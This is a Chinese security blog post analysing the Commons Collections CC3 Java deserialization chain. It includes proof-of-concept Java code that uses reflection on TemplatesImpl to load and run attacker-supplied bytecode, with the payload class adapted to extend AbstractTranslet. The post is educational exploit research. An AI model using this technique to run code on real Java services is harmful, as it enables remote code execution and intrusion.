和CC1利用链不同的是,CC3链采用的是类加载的方式来执行命令,也就是ClassLoader。
Java原生的ClassLoader文件位于jdk1.7.0_80src.zip!javalangClassLoader.java(这里采用了低版本java),作用域为public使用loadclass方法加载类。
Loadclass调用了findclass,findclass在重写方法中调用了defineclass。
进入defineclass,defineclass的功能为从字节数组中加载一个类
由于该方法为protected方法,查看有哪些位置重写了该方法且为public,方便我们控制输入的字节码。
经过查找org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java下存在一个这样的方法
defineTransletClasses调用了该方法,继续向下查找getTransletInstance调用了defineTransletClasses。
getTransletInstance对传入的类进行了初始化;这样如果我们能够控制传入恶意类的字节码,就能执行命令.
在这里Public属性的newTransformer方法调用了getTransletInstance方法
因此我们可以通过调用newTransformer方法来达到命令执行的目的,首先看到newTransformer方法所在的TemplatesImpl类支持反序列化
有以下属性值需要被赋值_bytecodes一定要有不然抛异常
从上图可以看出这里_bytecodes是个二维数组,但执行的字节码保存在一维数组中;
_tfactory也需要,_tfactory是一个TransformerFactoryImpl对象
_name也需要
这样我们就可以构造代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.nio.file.Files;
import java.lang.reflect.Field;
import java.nio.file.Paths;
public class test {
public static void main(String[] args) throws Exception{
//获取类的字节码
byte[] codes = Files.readAllBytes(Paths.get("calc.class"));
TemplatesImpl obj = new TemplatesImpl();
//反射调用属性值,并赋值
Field name = obj.getClass().getDeclaredField("_name");
Field bytecode = obj.getClass().getDeclaredField("_bytecodes");
Field tfactory = obj.getClass().getDeclaredField("_tfactory");
name.setAccessible(true);
bytecode.setAccessible(true);
tfactory.setAccessible(true);
name.set(obj,"test");
bytecode.set(obj,new byte[][]{codes});
tfactory.set(obj, new TransformerFactoryImpl());
//调用newTransformer方法
obj.newTransformer();
}
}
这里运行会报空指针错误,调试一下
根据提示发现是这里报错
可以看到_auxClasses为NULL,我们会想到给他赋值来规避这个错误,但看到下面_transletIndex < 0就会抛异常,而_transletIndex为-1,因此这个逻辑行不通,只能走if条件这个逻辑;if条件的意思是输入的类的父类必须等于ABSTRACT_TRANSLET这个常量。
那就改写一下输入的类,并实现AbstractTranslet类中的transform方法
再试一次,这样就可以了
完。。。
原文始发于微信公众号(我不懂安全):CC3链原理的简单分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论